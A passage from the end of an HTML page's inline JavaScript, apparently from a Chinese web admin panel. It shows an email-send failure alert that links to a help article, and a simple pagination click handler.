					layer.alert('发送失败,可能的错误原因：系统邮箱设置错误或者异常,解决办法：<a target="_blank" href="http://www.51dijia.cn/Doc/Indexbbc/article/id/1307.html">http://www.51dijia.cn/Doc/Indexbbc/article/id/1307.html</a>', {
						icon: 2
					});
				}
			}
			
			
			
			//页码单击事件
			function pageClick(obj) {
				$(".paginate_button").removeClass("active");
				var page = $(obj).children().text();
				currPage = page;
				$(obj).addClass("active");
				//在此处调用页码单击事件
			}
			//获取总数据
			totalRecord = 13;
			showpage();
		</script>
	</body>

</html>